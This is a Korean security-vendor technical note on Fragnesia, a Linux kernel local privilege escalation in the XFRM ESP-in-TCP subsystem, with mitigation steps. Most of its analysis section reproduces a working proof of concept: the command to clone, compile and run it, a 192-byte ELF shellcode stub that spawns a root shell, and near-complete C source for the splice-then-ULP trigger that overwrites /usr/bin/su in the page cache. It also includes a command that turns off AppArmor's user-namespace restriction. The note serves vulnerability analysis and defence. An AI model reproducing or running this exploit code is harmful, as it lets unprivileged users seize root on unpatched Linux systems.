블로그
home
Nation-State Cyber Actors Analysis Report
home

Dirty-Frag 변종 취약점 Fragnesia 분석(CVE-2026-46300)

작성자
김미희
감수인
작성일
2026/05/26
배포일
2026/05/29
문서등급
TLP:CLEAR
Tags
Fragnesia
CVE-2026-46300
문서유형
TechNote

01. Executive Summary

취약점 개요
Dirty Frag 취약점 클래스의 일종으로 리눅스 범용 로컬 권한 상승(LPE, Local Privilege Escalation) 익스플로잇 Fragnesia (CVE-2026-46300) 발견
DirtyFrag와는 별개로 고유한 패치가 적용된 ESP/XFRM 내의 다른 버그이나, 취약점이 발생하는 영역이 동일하기 때문에 완화 조치 역시 DirtyFrag와 동일
소켓 버퍼인 skb가 병합되는 동안 조각인 frag가 공유되고 있다는 사실을 "잊어버리기”때문에 Fragnesia라고 명명
CopyFail(CVE-2026-31431)→Dirty-Frag(CVE-2026-43284&CVE-2026-43500)→Fragnesia(CVE-2026-46300)으로 취약점이 연쇄적으로 발생
대응방안
익스플로잇이 실행된 후, 페이지 캐시 내의 /usr/bin/su에는 주입된 스텁이 포함되기 때문에 이후 실행되는 모든 su 명령은 해당 페이지가 제거(eviction)될 때까지 계속해서 쉘을 다시 생성
따라서 익스플로잇 실행 이후에는 반드시 캐시를 비우거나 재부팅 필요
echo 1 | tee /proc/sys/vm/drop_caches
JavaScript
복사
위의 명령어 실행 시에 일반 권한에서 실행한 경우에는 Permission denied가 발생하기 때문에 1명령어만 나오는 권한에서 실행 필요
테스트 결과 PoC 실행 이후 echo 1 | tee /proc/sys/vm/drop_caches을 입력하는 경우 /proc/sys/vm/drop_caches: Permission denied (os error 13)메시지가 발생
이 상황에서 다시 PoC를 실행해보면 이미 페이지 캐시 내의 /usr/bin/su에 주입된 스텁이 포함되어 있기 때문에 192바이트가 덮어쓰기 되는 과정이 미발생
echo 1 | tee /proc/sys/vm/drop_caches대신 echo 1 | sudo tee /proc/sys/vm/drop_caches로 입력하는 경우 정상적으로 제거 확인

02. Overview

2.1. 취약점 개요

Dirty Frag 취약점 클래스의 일종으로 리눅스 범용 로컬 권한 상승(LPE, Local Privilege Escalation) 익스플로잇 Fragnesia (CVE-2026-46300) 발견
DirtyFrag와는 별개로 고유한 패치가 적용된 ESP/XFRM 내의 다른 버그이나, 취약점이 발생하는 영역이 동일하며하기 때문에 완화 조치 역시 DirtyFrag와 동일
소켓 버퍼인 skb가 병합되는 동안 조각인 frag가 공유되고 있다는 사실을 "잊어버리기”때문에 Fragnesia라고 명명
CopyFail(CVE-2026-31431)→Dirty-Frag(CVE-2026-43284&CVE-2026-43500)→Fragnesia(CVE-2026-46300)으로 취약점이 연쇄적으로 발생
해당 취약점은 리눅스 XFRM ESP-in-TCP 하위 시스템의 논리 버그를 악용하여, 어떠한 경쟁 상태인 레이스 컨디션(race condition)도 필요로 하지 않고 읽기 전용 파일의 커널 페이지 캐시에 임의의 바이트 쓰기를 수행
Dirty Pipe를 포함하는 페이지 캐시 쓰기 버그 클래스를 확장한 것으로 데이터가 이미 파일에서 수신 대기열(receive queue)로 스플라이스(splice)된 후 TCP 소켓이 espintcp ULP 모드로 전환되면, 커널은 대기열에 있는 파일 페이지를 ESP 암호문으로 처리
카운터 블록 위치 2, 바이트 0에 있는 AES-GCM 키스트림 바이트가 캐시된 파일 페이지에 직접 XOR 연산
원하는 키스트림 바이트를 생성하도록 IV 논스(nonce)를 선택함으로써, 파일 내의 모든 대상 바이트를 원하는 값으로 설정할수 있고 이는 이는 트리거 호출당 1바이트씩 수행
공개된 POC는 가능한 각 키스트림 바이트를 해당하는 논스에 매핑하는 256개 항목의 룩업 테이블을 구축한 다음, 페이로드를 순회하며 변경이 필요한 각 바이트마다 스플라이스/ULP 레이스를 실행
페이지 캐시 내의 /usr/bin/su 첫 192바이트 위에 위치 독립적인 작은 ELF 스텁(setresuid/setresgid/execve /bin/sh)을 덮어쓴 다음, execve("/usr/bin/su")를 호출하여 루트 쉘을 획득
페이지 캐시의 수정 사항은 디스크에 저장(백업)되지 않으므로, 디스크 상의 바이너리는 훼손되지 않은 상태로 유지

2.2. 영향받는 버전 및 완화방안

1) 영향받는 버전

Dirty Frag의 영향을 받는 모든 버전으로 2026년 5월 13일 이전의 Linux 커널은 취약점에 영향
패치 버전인 https://lists.openwall.net/netdev/2026/05/13/79이 적용되지 않는 버전
리눅스 localhost 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux (Linode에서 구매한 VPS)에서 정상 작동하는 것을 확인
RHEL의 CVSS v3기준 점수는 7.8(NVD점수는 미존재)

2) 완화방안

Dirty Frag의 대응방안과 동일
rmmod esp4 esp6 rxrpc printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
JavaScript
복사

03. Vulnerability Analysis

3.1. PoC 실행방법

PoC 실행 방법
git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
Shell
복사
▽ PoC 실행 내역, 실행환경 : Linux version 7.0.0-15-generic (buildd@lcy02-amd64-048)
▽ 192바이트를 덮어쓰는 과정
▽ 192바이트의 덮어쓰기가 완료되어 root권한을 획득한 결과
우분투(Ubuntu) 참고 사항: AppArmor는 기본적으로 권한이 없는 사용자 네임스페이스를 제한함에 따라 제한하기 때문에 하기 명령어를 먼저 실행 필요
다른 버그들을 연결하여 이 요구 사항을 우회할 수 있지만, 이는 이 취약점의 범위에 포함되지 않음
이 공격은 /usr/bin/su직접적인 공격 대상을 겨냥하기 때문에 성공하면 루트 쉘에 진입
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
Shell
복사
익스플로잇이 실행된 후, 페이지 캐시 내의 /usr/bin/su에는 주입된 스텁이 포함되기 때문에 이후 실행되는 모든 su 명령은 해당 페이지가 제거(eviction)될 때까지 계속해서 쉘을 다시 생성
따라서 익스플로잇 실행 이후에는 반드시 캐시를 비우거나 재부팅 필요
echo 1 | tee /proc/sys/vm/drop_caches
JavaScript
복사
위의 명령어 실행 시에 일반 권한에서 실행한 경우에는 Permission denied가 발생하기 때문에 1명령어만 나오는 권한에서 실행 필요
테스트 결과 PoC 실행 이후 echo 1 | tee /proc/sys/vm/drop_caches을 입력하는 경우 /proc/sys/vm/drop_caches: Permission denied (os error 13)메시지가 발생
이 상황에서 다시 PoC를 실행해보면 이미 페이지 캐시 내의 /usr/bin/su에 주입된 스텁이 포함되어 있기 때문에 192바이트가 덮어쓰기 되는 과정이 미발생
▽ PoC 실행 후 정상적으로 제거가 되지 않은 상태
echo 1 | tee /proc/sys/vm/drop_caches대신 echo 1 | sudo tee /proc/sys/vm/drop_caches로 입력하는 경우 정상적으로 제거 확인
▽ PoC 실행 후 정상적으로 제거된 후 다시 PoC를 실행한 상태

2.2. PoC를 통한 취약점 설명

1) 192바이트 ELF 파일 설정

/usr/bin/su 파일의 헤더 부분에 덮어쓸 192바이트 크기의 독립형 에뮬레이트 ELF 바이너리로
일반적인 su 명령어가 아니라, 내부적으로 setresuid(0, 0, 0)setresgid(0, 0, 0)를 호출하여 권한을 완전한 최고 관리자(root)로 상승시킨 뒤, 관리자 쉘인 /bin/sh를 실행하도록 기계어로 프로그래밍
shell_elf 함수 내용
static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };
JavaScript
복사
shell_elf 함수의 Disassemble 결과
payload.bin: file format binary Disassembly of section .data: 0000000000000078 <.data+0x78>: ## 1. 최고 관리자인 root권한 획득 78: 31 ff xor %edi,%edi ; EDI = 0 (첫 번째 인자: ruid = 0) 7a: 31 f6 xor %esi,%esi ; ESI = 0 (두 번째 인자: euid = 0) 7c: 31 c0 xor %eax,%eax ; EAX = 0 (세 번째 인자: suid = 0) 7e: b0 6a mov $0x6a,%al ; EAX의 하위 바이트에 setresuid 시스템 콜 번호(106) 장착 80: 0f 05 syscall ; 커널 호출 -> setresuid(0, 0, 0) 실행 (루트 유저 권한 획득) 82: b0 69 mov $0x69,%al ; EAX의 하위 바이트에 setresgid 시스템 콜 번호(105) 장착 84: 0f 05 syscall ; 커널 호출 -> setresgid(0, 0, 0) 실행 (루트 그룹 권한 획득) 86: b0 74 mov $0x74,%al ; EAX의 하위 바이트에 setfsuid 시스템 콜 번호(116) 장착 88: 0f 05 syscall ; 커널 호출 -> setfsuid(0) 실행 (파일 시스템 접근 권한까지 루트로 확정) ## 2. execve 인자 구성 및 스택 세팅 8a: 6a 00 push $0x0 ; 스택에 NULL(0) 삽입 (환경 변수 배열의 끝을 표시하기 위함) 8c: 48 8d 05 12 00 00 00 lea 0x12(%rip),%rax ; 현재 위치 기준 18바이트 뒤인 0xa5 주소("TERM=xterm" 문자열)RAX에 로드 93: 50 push %rax ; 스택에 "TERM=xterm" 문자열의 주소값 삽입 94: 48 89 e2 mov %rsp,%rdx ; 현재 스택 포인터(환경 변수 주소 배열)RDX(execve의 세 번째 인자: envp)에 대입 97: 48 8d 3d 12 00 00 00 lea 0x12(%rip),%rdi ; 현재 위치 기준 18바이트 뒤인 0xb0 주소("/bin/sh" 문자열)RDI(execve의 첫 번째 인자: filename)에 로드 9e: 31 f6 xor %esi,%esi ; ESI = 0 (execve의 두 번째 인자: argv = NULL 세팅) ## 3. 루트 쉘 실행 a0: 6a 3b push $0x3b ; 스택에 execve 시스템 콜 번호(59) 삽입 a2: 58 pop %rax ; 스택에서 꺼내 EAX59 장착 a3: 0f 05 syscall ; 커널 호출 -> execve("/bin/sh", NULL, {"TERM=xterm"}) 실행 ## 4. "TERM=xterm\0"문자열 구간 확인 및 문자열 교체 a5: 54 push %rsp ; 데이터: 'T' (0x54) | a6: 45 52 rex.RB push %r10 ; 데이터: 'E', 'R' | -> "TERM=xterm\0" 문자열 구간 a8: 4d 3d 78 74 65 72 rex.WRB cmp ... ; 데이터: 'M', '=', 'x', 't', 'e', 'r' ae: 6d insl ... ; 데이터: 'm' (0x6d) | af: 00 2f add %ch,(%rdi) ; 데이터: 0x00(문자열 끝)'/' (0x2f) b1: 62 69 6e 2f 73 (bad) ; 데이터: 'b', 'i', 'n', '/', 's' | b6: 68 00 00 00 00 push $0x0 ; 데이터: 'h' (0x68)와 널 바이트들 | -> "/bin/sh\0" 문자열 구간 bb: 00 00 add %al,(%rax) ; 데이터: 남은 패딩용 빈 공간 (0x00) bd: 00 00 add %al,(%rax) ; 데이터: 남은 패딩용 빈 공간 (0x00)
JavaScript
복사

2) 네임스페이스 및 네트워크 환경 구축 (setup_user_netns_xfrm)

setup_user_netns_xfrm 함수 내용
static void setup_user_netns_xfrm(void) { if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE"); enter_mapped_userns(); if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)"); printf("netns_setup=1\n"); bring_loopback_up(); add_xfrm_espintcp_state(); printf("namespace_setup_complete=1\n"); }
JavaScript
복사
일반 계정은 시스템 전체에 영향을 주는 네트워크 보안 정책(XFRM)을 마음대로 수정할 수 없습니다. 이 제약을 우회하기 위해 리눅스의 네임스페이스 격리 기능을 사용
enter_mapped_userns(): unshare(CLONE_NEWUSER)를 호출하여 새로운 사용자 네임스페이스를 만들고 이 내부에서는 자신이 루트(uid=0)인 것처럼 속일 수 있음 (실제 호스트의 루트 권한은 아님)
unshare(CLONE_NEWNET): 독립된 가상 네트워크 환경 생성
add_xfrm_espintcp_state(): 격리된 네트워크 안에서 NETLINK_XFRM 소켓을 통해 암호화 통신 정책(ESP-in-TCP)을 강제로 등록하며, 이때 암호화 키(xfrm_aead_key)를 가짜로 지정하여 연구자가 통제할 수 있도록 만듬

3) AES-GCM 키스트림 사전 계산 (build_stream0_table)

build_stream0_table 함수 내용
static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) { unsigned char b; store_be32(iv + 4, nonce); b = aes_gcm_stream0_byte(alg_fd, iv); if (stream0_have[b]) continue; stream0_have[b] = true; stream0_nonce[b] = (uint16_t)nonce; count++; } close(alg_fd); if (count != 256) { fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count); exit(2); } printf("stream0_table_entries=256\n"); }
JavaScript
복사
이 취약점의 핵심은 파일 조각이 커널에 의해 AES-GCM 방식으로 제자리 복호화(In-place Decryption) 되면서 데이터가 오염되는 현상을 이용하는 것으로 XOR의 성질을 이용
aes_gcm_stream0_byte(): 가짜 암호화 키를 바탕으로, 암호화 과정에서 무작위 값처럼 생성되는 '키스트림(Keystream)의 첫 번째 바이트'를 계산
build_stream0_table(): 초기화 벡터(IV)인 논스(Nonce) 값을 0부터 65535까지 대입해 보며, 0x00부터 0xFF(256가지)까지 모든 바이트를 만들어낼 수 있는 논스 값의 지도를 룩업 테이블(stream0_nonce)에 미리 채워두기 때문에 레이스 컨디션 없이, 내가 원하는 바이트를 정확하게 저격해서 변경

4) 커널 트리거 가동 (run_trigger_pairsender / receiver)

run_trigger_pair 함수 내용
static int run_trigger_pair(void) { int pipefd[2], st_rx, st_tx; pid_t rx, tx; if (pipe(pipefd) < 0) die("pipe"); rx = fork(); if (rx < 0) die("fork receiver"); if (rx == 0) { close(pipefd[0]); receiver(pipefd[1]); } tx = fork(); if (tx < 0) die("fork sender"); if (tx == 0) { close(pipefd[1]); sender(pipefd[0]); } close(pipefd[0]); close(pipefd[1]); if (waitpid(tx, &st_tx, 0) < 0) die("wait sender"); if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver"); printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx); if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1; return 0; }
JavaScript
복사
receiver 함수 내용
static void receiver(int ready_write_fd) { struct sockaddr_in6 addr = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; char ulp[] = "espintcp"; int fd, cfd, one = 1; fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (fd < 0) die("receiver socket"); if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind"); if (listen(fd, 1) < 0) die("receiver listen"); write_ready(ready_write_fd); cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC); if (cfd < 0) die("receiver accept"); usleep(RECEIVER_PRE_ULP_US); if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp"); printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid()); usleep(RECEIVER_POST_ULP_US); close(cfd); close(fd); _exit(0); }
JavaScript
복사
sender 함수 내용
static void sender(int ready_read_fd) { struct sockaddr_in6 dst = { .sin6_family = AF_INET6, .sin6_addr = IN6ADDR_LOOPBACK_INIT, .sin6_port = htons(TCP_PORT), .sin6_flowinfo = 0, .sin6_scope_id = 0, }; struct { __be16 len; unsigned char esp[16]; } prefix; loff_t off, start_off; int fd, sock, p[2], one = 1; ssize_t ret, sent; wait_ready(ready_read_fd); memset(&prefix, 0xcc, sizeof(prefix)); prefix.len = htons(sizeof(prefix) + FRAG_LEN); prefix.esp[0] = 0x00; prefix.esp[1] = 0x00; prefix.esp[2] = 0x01; prefix.esp[3] = 0x00; store_be32(&prefix.esp[4], active_esp_seq); memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("sender open target"); sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0); if (sock < 0) die("sender socket"); if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY"); if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect"); sent = send(sock, &prefix, sizeof(prefix), 0); if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix"); usleep(SENDER_PRE_SPLICE_US); if (pipe(p) < 0) die("sender pipe"); off = target_splice_off; start_off = off; ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0); if (ret != FRAG_LEN) die("sender splice file to pipe"); ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0); if (ret < 0) die("sender splice pipe to tcp"); printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n", getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off); close(p[0]); close(p[1]); close(sock); close(fd); _exit(ret == FRAG_LEN ? 0 : 3); }
JavaScript
복사
실제 커널 버그를 발동시켜 페이지 캐시를 오염시키는 핵심 루틴으로 프로세스를 Sender와 Receiver로 Fork하여 수행
송신자 (sender):
1.
암호화할 타겟 파일(/usr/bin/su)의 특정 바이트 위치를 지정
2.
splice() 시스템 콜을 사용하여 디스크의 파일 데이터를 직접 읽어와 TCP 소켓의 송신 버퍼(대기열)로 밀어 넣음
수신자 (receiver):
1.
소켓 버퍼에 데이터가 다 들어올 때까지 의도적으로 대기(usleep)
2.
데이터가 꽉 찬 상태에서 소켓의 설정을 setsockopt(..., TCP_ULP, "espintcp")로 전환
버그 발생 지점 : 커널은 소켓에 쌓여있던 파일 데이터 조각(frag)이 공유 상태라는 사실을 망각하고, 이를 ESP 암호문으로 오인해 메모리(페이지 캐시) 상에서 직접 복호화(XOR 연산)를 수행해 버리는 결과로 커널 메모리에 위치한 /usr/bin/su 바이너리가 한 바이트 변조

5) 바이트 단위 순회 및 실행 (replace_existing_bytes_aftermain)

replace_existing_bytes_after 함수 내용
static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len, uint64_t file_size) { uint64_t last = checked_byte_range_last(byte_off, desired_len); size_t idx, changed = 0, skipped = 0; unsigned char live_state[PAYLOAD_LEN]; int fd_init; if (last >= file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n", FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } printf(C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n", RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US); printf(C_BCYN "[*]" C_RESET " range: offset=0x%llx len=%zu last=0x%llx" " enc_len=%d splice_len=%d\n", (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN); printf(C_BCYN "[*]" C_RESET " union: transformed=0x%llx-0x%llx" " collateral_after=0x%llx-0x%llx\n", (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1), (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1)); printf(C_BCYN "[*]" C_RESET " "); print_hex_bytes("payload", desired, desired_len); printf("\n"); build_stream0_table(); printf("\n"); /* seed live_state from the file so the hex dump has real values */ fd_init = open(target_file, O_RDONLY | O_CLOEXEC); if (fd_init < 0) die("open live_state init"); if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init"); close(fd_init); /* clear screen so the frame starts at a known row 1 */ printf("\033[2J\033[H"); draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1); /* pin the frame to rows 1-FRAME_LINES; scroll region below */ { struct winsize ws; int tr = 40; if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char current, final, need_stream; live_state[idx] = read_byte_at(target_file, off); current = live_state[idx]; draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0); if (current == desired[idx]) { printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len, (unsigned long long)off, current); skipped++; continue; } target_splice_off = (loff_t)off; need_stream = current ^ desired[idx]; choose_iv_for_stream0(need_stream); active_esp_seq++; printf(C_BCYN "[*]" C_RESET " [%zu/%zu]" " +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); /* printf(C_BCYN "[*]" C_RESET " before:\n"); print_hex_row(target_file, off, "orig", current, "want", desired[idx]); printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN); { size_t k; for (k = 0; k < sizeof(active_esp_gcm_iv); k++) printf("%02x", active_esp_gcm_iv[k]); } */ printf(C_RESET " firing espintcp splice...\n"); if (run_trigger_pair() < 0) { fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx); return 2; } final = read_byte_at(target_file, off); live_state[idx] = final; /* printf(C_BCYN "[*]" C_RESET " after:\n"); print_hex_row(target_file, off, "was", current, "now", final); */ if (final == desired[idx]) { printf(C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mismatched" " index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } /* final frame: all bytes done, cursor past the end */ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); /* restore full scroll region and drop cursor below the frame */ printf("\033[r\033[%d;1H\n", FRAME_LINES + 1); /* final verify pass */ printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); for (idx = 0; idx < desired_len; idx++) { uint64_t off = byte_off + idx; unsigned char final = read_byte_at(target_file, off); if (final != desired[idx]) { printf(C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } } printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET "\n", desired_len, changed, skipped); if (changed == 0) { fprintf(stderr, "all requested bytes already had desired values\n"); return 2; } printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n"); return 1; }
JavaScript
복사
main 함수 내용
int main(int argc, char **argv) { unsigned char *desired; uint64_t file_size, byte_off; size_t desired_len, sample_len; int ret; setvbuf(stdout, NULL, _IONBF, 0); printf(C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET " egid=" C_BWHT "%d" C_RESET "\n", getuid(), geteuid(), getgid(), getegid()); printf(C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); printf("\n"); // system("cp /bin/cat /tmp/test"); // file_size = use_existing_target("/tmp/test"); file_size = use_existing_target("/usr/bin/su"); byte_off = 0; desired = (unsigned char *)shell_elf; desired_len = PAYLOAD_LEN; printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); verify_write_denied("outer"); setup_user_netns_xfrm(); verify_write_denied("userns_root_mapped_to_outer_user"); ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); /* reset scroll region; some terminals home the cursor on \033[r so * explicitly jump to the last row so PS1 lands below our output */ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); execve("/usr/bin/su", NULL, NULL); return ret; }
JavaScript
복사
replace_existing_bytes_after(): 덮어써야 할 192바이트 페이로드를 한 바이트씩 읽어어서 현재 캐시된 바이트와 내가 원하는 바이트를 XOR 연산(current ^ desired[idx])하여 필요한 키스트림 값을 도출
앞서 만든 테이블에서 그 값을 만들어내는 논스(IV)를 찾아내어 (choose_iv_for_stream0), run_trigger_pair()를 호출해 한 바이트씩 정확하게 변조
draw_smash_frame() 함수는 이 과정을 터미널에 시각적인 헥스 덤프(Hex Dump) 진척도로 출력
main():/usr/bin/su를 타겟 파일로 지정하고 권한 상태를 체크
변조 루틴이 모두 끝나 192바이트의 shell_elf 스텁이 메모리에 완벽히 안착하면, 마지막에 execve("/usr/bin/su", NULL, NULL);를 호출
시스템은 원래 su를 실행하려 하지만, 메모리(페이지 캐시)가 이미 가짜 관리자 쉘 코드로 오염되어 있으므로 권한 상승된 루트 쉘이 실행되면서 익스플로잇이 완료

2.3. PoC 동작 원리

1.
사용자 + 네트워크 네임스페이스 설정 : 익스플로잇은 unshare(CLONE_NEWUSER | CLONE_NEWNET)를 호출하여 호스트에 대한 실제 권한 없이도 CAP_NET_ADMIN 권한을 보유할 수 있는 네임스페이스를 획득
2.
XFRM SA 설치 : 네트워크 네임스페이스 내부에서, 알려진 키와 SPI 0x100과 함께 AES-128-GCM을 사용하여 전송 모드(transport-mode) ESP-in-TCP 보안 결합(Security Association)이 NETLINK_XFRM을 통해 설치
3.
키스트림 테이블 : 시퀀스 위치 2에 대한 16바이트 AES-GCM 카운터 블록은 [salt || IV || 00000002]
알려진 키로 이를 암호화하면 16바이트 키스트림 블록이 생성되며, 이 중 바이트 0만 사용
8바이트 IV(논스)의 하위 32비트를 변경함으로써, 처음 65536개의 논스 내에서 가능한 256개의 모든 스트림 바이트 값에 도달
이 테이블은 AF_ALG를 통해 한 번 구축된 후 모든 바이트 플립(바이트 변환)에 재사용
4.
스플라이스 후 ULP 트리거 (Splice-then-ULP trigger) : 송신자/수신자 쌍이 포크(fork)되며 송신자는 데이터가 소켓 버퍼에 들어가기 전에, 선택된 IV로 구성된 ESP 헤더와 ESP-in-TCP 길이 워드가 앞에 붙은 대상 파일(손상시킬 바이트부터 시작)로부터 4096바이트를 TCP 스트림으로 스플라이스(splice)
수신자는 데이터가 소켓 버퍼에 들어올 때까지 TCP_ULP espintcp 설치를 지연
ULP가 활성화되면, 커널은 대기열에 있는 ESP 레코드를 제자리에서 복호화하려고 시도하며, GCM 키스트림을 스플라이스 매핑된 파일 페이지(VFS 페이지 캐시 항목을 뒷받침하는 동일한 물리 페이지)에 XOR 연산
5.
바이트 단위 페이로드 쓰기 : 페이로드 중에서 아직 원하는 값을 가지지 못한 각 바이트에 대해 3~4단계를 반복하며 각 반복마다 필요한 키스트림 바이트를 다시 계산하고, 해당하는 IV 논스를 찾아낸 뒤, ESP 시퀀스 번호를 증가시키고 새로운 트리거 쌍을 실행
6.
실행 : 192바이트의 페이로드가 모두 검증되면 execve("/usr/bin/su")가 실행
이제 캐시 내에서 수정된 바이너리가 setresuid(0,0,0) / setresgid(0,0,0)를 호출하고 /bin/sh를 실행(exec)
IGLOO Corp. 2026. All rights reserved.